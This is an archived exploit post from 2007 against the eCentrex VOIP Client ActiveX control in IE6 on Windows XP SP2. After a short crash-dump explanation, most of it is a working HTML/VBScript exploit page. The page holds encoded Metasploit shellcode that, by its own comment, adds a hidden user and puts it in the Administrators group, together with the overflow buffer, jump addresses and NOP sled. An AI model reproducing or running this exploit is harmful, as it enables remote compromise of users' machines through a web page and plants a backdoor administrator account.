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ecentrex-overflow.txt
Posted on 22 August 2007
<!-- 17/08/2007 04.41.37 eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow exploit (ie6 / xp sp2) passing more than 164 chars to ReInit method in Username argument EAX 41414131 ECX 0013D444 ASCII "AAAAAAAA... EDX 00000000 EBX 00000000 ESP 0013D3A0 EBP 0013D458 ASCII "AAAAAAAA... ESI 41414131 EDI 00000001 EIP 04C4C945 euacom.04C4C945 ... 04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI] 04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX] 04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10] Access violation when reading 41414131 also seh is overwritten object safety report RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data KillBitSet: False this was the codebase: http://202.73.10.134/e800/euacom/uacomx.cab vendor: http://www.e800phone.com/abtus.htm rgod. site: http://retrogod.altervista.org --> <html> <object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object> <script language='vbscript'> 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") 'try this kind of command: msfpescan -d ./tools/iexplore -x "x00x13x41x00" esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad... l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time? l_nop = string(12222,unescape("%90")) UserName = String(164,"A") + esi + l_pad + l_nop + scode Password = "" ProxyServerIP = "" ProxyIP = "" Project = "" PortNo = 1 IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo </script> </html>
